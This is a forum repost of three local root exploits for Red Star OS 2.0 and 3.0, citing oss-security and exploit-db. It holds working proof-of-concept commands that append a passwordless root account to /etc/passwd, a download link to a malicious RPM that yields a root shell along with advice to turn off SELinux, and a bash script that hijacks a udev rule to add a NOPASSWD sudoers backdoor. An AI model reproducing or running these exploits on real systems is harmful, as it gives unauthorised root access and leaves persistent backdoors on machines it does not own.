Aerosol Posted January 11, 2015 Report Posted January 11, 2015 RedStar 2.0 Desktop - Privilege Escalation (World-writeable rc.sysinit)Red Star 2.0 desktop ships with a world-writeable "/etc/rc.d/rc.sysinit"which can be abused to execute commands onboot. An example exploitation of this vulnerability is shown herehttps://github.com/HackerFantastic/Public/blob/master/exploits/redstar2.0-localroot.pngPoC:/bin/echo "r00t::0:0::/tmp:/bin/bash" >> /etc/passwdsu - root## Source: http://www.openwall.com/lists/oss-security/2015/01/09/6SourceRedStar 3.0 Desktop - Privilege Escalation (Software Manager - swmng.app)The root user is disabled on Red Star, and it doesn't look like there is a way to enable it. UnFortunately, they left a big security hole: the Software Manager (swmng.app), which runs as root through sudo and will install any RPM package, even if unsigned.To get root, get this RPM package I made into Red Star through an ISO (if you're using a virtual machine) or USB key,double-click it to open it with the Software Manager, and click through the blue buttons until it’s done.After that, run rootsh to get a root shell. Being a RedHat-based system (hinting on Fedora 15), SELinux will prevent you from doing some things, but disabling it is a matter of running setenforce 0 as root.Download: https://mega.co.nz/#!jgBT0RxZ!LQDEBBrbGxE6fag4d_A2C2cWj2PSNR_ZvnSW_UjRD5EMirror: http://www.exploit-db.com/sploits/redstarroot.rpm## Source: http://richardg867.wordpress.com/2015/01/01/notes-on-red-star-os-3-0/ & http://www.openwall.com/lists/oss-security/2015/01/09/1SourceRedStar 3.0 Desktop - Privilege Escalation (Enable sudo)#!/bin/bash -ecp /etc/udev/rules.d/85-hplj10xx.rules /tmp/udevhp.bakecho 'RUN+="/bin/bash /tmp/r00t.sh"' > /etc/udev/rules.d/85-hplj10xx.rulescat <<EOF >/tmp/r00t.shecho -e "ALL\tALL=(ALL)\tNOPASSWD: ALL" >> /etc/sudoersmv /tmp/udevhp.bak /etc/udev/rules.d/85-hplj10xx.ruleschown 0:0 /etc/udev/rules.d/85-hplj10xx.rulesrm /tmp/r00t.shEOFchmod +x /tmp/r00t.shecho "sudo will be available after reboot"sleep 2reboot## Source: https://twitter.com/sfan55/status/550348619652796416 & http://www.openwall.com/lists/oss-security/2015/01/09/6Source 1 Quote